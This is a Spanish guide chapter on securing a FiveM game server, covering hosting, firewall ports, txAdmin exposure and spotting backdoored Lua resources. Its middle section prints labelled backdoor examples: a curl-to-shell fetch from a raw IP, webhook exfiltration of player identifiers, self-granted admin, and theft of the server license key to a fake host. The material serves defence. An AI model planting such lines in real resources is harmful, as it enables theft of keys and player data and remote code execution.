Hosting seguro y anti-backdoor
Elige bien dónde alojas el servidor, blinda puertos y firewall, y aprende a reconocer los patrones de un recurso con backdoor antes de instalarlo.
Tu servidor de FiveM es una máquina expuesta a internet que ejecuta código de terceros: cada recurso que instalas es código que corre con plenos poderes sobre tu base de datos y tu economía. Este capítulo cubre las dos caras de la seguridad: dónde y cómo alojar el servidor (infraestructura), y cómo evitar que un recurso malicioso —un backdoor— te robe el dinero, los identifiers de tus jugadores o el control entero de la ciudad.
¿Dónde alojo el servidor?
FiveM es muy single-thread: la mayor parte del trabajo del servidor cae sobre un único hilo de CPU. Por eso importa más la potencia por núcleo (frecuencia, IPC) que tener muchos núcleos. La RAM la marcan tus assets (mapas, vehículos, scripts); y una buena red con baja latencia y protección anti-DDoS es casi obligatoria, porque los ataques de denegación de servicio son habituales en FiveM.
- VPS / dedicado: control total, puedes endurecer el SO y el firewall a tu gusto. Contra: tú eres el administrador, tú respondes de la seguridad y las actualizaciones.
- Game hosts especializados (Zap-Hosting y similares): instalación en un clic, paneles, anti-DDoS incluido. Contra: menos control fino, a veces CPU por núcleo más floja y coste recurrente.
- Tu propio PC: solo para PRUEBAS en local. Nunca abras tu casa a internet para producción: expones tu IP, tu red doméstica y tu equipo a ataques.
Puertos, firewall y txAdmin
FiveM necesita el puerto 30120 abierto en TCP y UDP. Lo demás debería estar cerrado por defecto y abrirse solo cuando lo necesites. txAdmin (el panel de administración, por defecto en el 40120) NO debe quedar expuesto a todo internet: limítalo a tu IP, ponlo tras VPN o usa un proxy con HTTPS. Un txAdmin abierto con contraseña débil es una puerta directa a tu servidor.
- Abre 30120 TCP + UDP (el juego usa ambos).
- Restringe txAdmin (40120) a tu IP o detrás de VPN; nunca con la contraseña por defecto.
- Cierra todo lo demás por defecto (política deny, abre solo lo imprescindible).
- Activa protección anti-DDoS: del proveedor, de un game host, o de un proxy delante.
El núcleo: anti-backdoor en recursos
Un backdoor es código oculto dentro de un recurso aparentemente normal (un script de tienda, un mapa, un pack «gratis» de Discord) que, una vez en tu servidor, filtra datos, da admin a un atacante, roba dinero o ejecuta comandos. Como un server_script corre con la autoridad total del servidor, un solo recurso malicioso basta. Antes de instalar NADA, abre los .lua y busca estos patrones.
- Webhooks de Discord escondidos: exfiltran dinero, identifiers o logs a un servidor del atacante.
- assert(load(...)) o loadstring con cadenas ofuscadas (hex \x.. o base64): ejecutan código que no puedes leer a simple vista.
- os.execute o io.popen: ejecutan comandos del sistema operativo de tu máquina.
- PerformHttpRequest a dominios raros (pastebin, acortadores, IPs sueltas): descarga de payloads o envío de datos robados.
- ExecuteCommand('add_principal ...') o cualquier cosa que conceda admin desde dentro de un recurso.
- Lectura de secretos: GetConvar de sv_licenseKey, tokens, claves de API o de la base de datos para robarlos.
-- 🚩 EJEMPLOS DE BACKDOOR — esto NO debe estar en tus recursos
-- 1) Carga de código ofuscado (no puedes leer qué ejecuta)
assert(load("\x6f\x73\x2e\x65..."))() -- hex disfrazado
-- 2) Ejecutar comandos del sistema
os.execute("curl http://1.2.3.4/x.sh | sh")
io.popen("whoami")
-- 3) Filtrar identifiers a un webhook de Discord
PerformHttpRequest("https://discord.com/api/webhooks/XXX/YYY", function() end,
"POST", json.encode({ content = GetPlayerIdentifiers(src)[1] }),
{ ["Content-Type"] = "application/json" })
-- 4) Auto-concederse admin desde un recurso
ExecuteCommand("add_principal identifier.fivem:OTRO group.admin")
-- 5) Robar la license key del servidor
local key = GetConvar("sv_licenseKey", "")
PerformHttpRequest("http://pastebin-falso.tld/leak", function() end, "POST", key)Patrones típicos de un recurso malicioso
Si encuentras cadenas hex o base64 muy largas, código que se «desencripta» a sí mismo, o conexiones salientes que no tienen sentido para lo que el recurso dice hacer, asume que es un backdoor y NO lo instales. Que el código esté ofuscado «para proteger la licencia» es la excusa más vieja: un escaper limpio no necesita esconder lo que hace tu servidor.
Defensa en profundidad
- El cliente miente SIEMPRE: valida cada acción (dinero, ítems, posición, permisos) en el servidor. Un evento del cliente es una petición, no una verdad.
- Instala solo de fuentes fiables (Tebex/CFX oficiales, autores conocidos). Desconfía de los packs «leak» o «gratis» de Discord: suelen venir con backdoor.
- Escanea los .zip antes de instalarlos. Crxative-M incluye un escáner/auditoría de seguridad que detecta estos patrones por ti, pero igualmente lee el código.
- Mínimo privilegio en ACE: da a cada grupo solo los permisos que necesita; no repartas group.admin a la ligera.
Secretos fuera del código
Nunca escribas claves, tokens ni contraseñas directamente en los .lua ni los subas al repositorio. Mételos en un secrets.cfg con set y léelos con GetConvar. Ese archivo va en tu .gitignore y nunca se comparte.
# secrets.cfg (NUNCA en git — añádelo a .gitignore)
sv_licenseKey "cfxk_TU_CLAVE"
set mysql_connection_string "mysql://user:pass@localhost/db"
set discord_token "TU_TOKEN_DEL_BOT"
set webhook_logs "https://discord.com/api/webhooks/..."
# En server.cfg lo cargas con:
# exec secrets.cfg
# Y en Lua lo lees con: local token = GetConvar("discord_token", "")secrets.cfg con convars
Copias de seguridad
Pase lo que pase —un backdoor, un borrado accidental, un fallo de disco— solo te salva un backup. Haz copias automáticas de la base de datos y de la carpeta resources, guárdalas fuera del servidor y, lo más importante, PRUEBA a restaurarlas de vez en cuando. Un backup que nunca has restaurado no existe: solo lo descubres cuando ya es tarde.
Ante la duda con cualquier recurso: escanéalo y léelo antes de instalarlo. Un backdoor puede vaciarte la ciudad —dinero, ítems y datos de tus jugadores— en cuestión de minutos, y muchas veces sin que te enteres hasta que ya no hay nada que recuperar.
¿Una duda sobre esto? El chat de la IA lo sabe todo y te responde con código.
Pregunta a la IA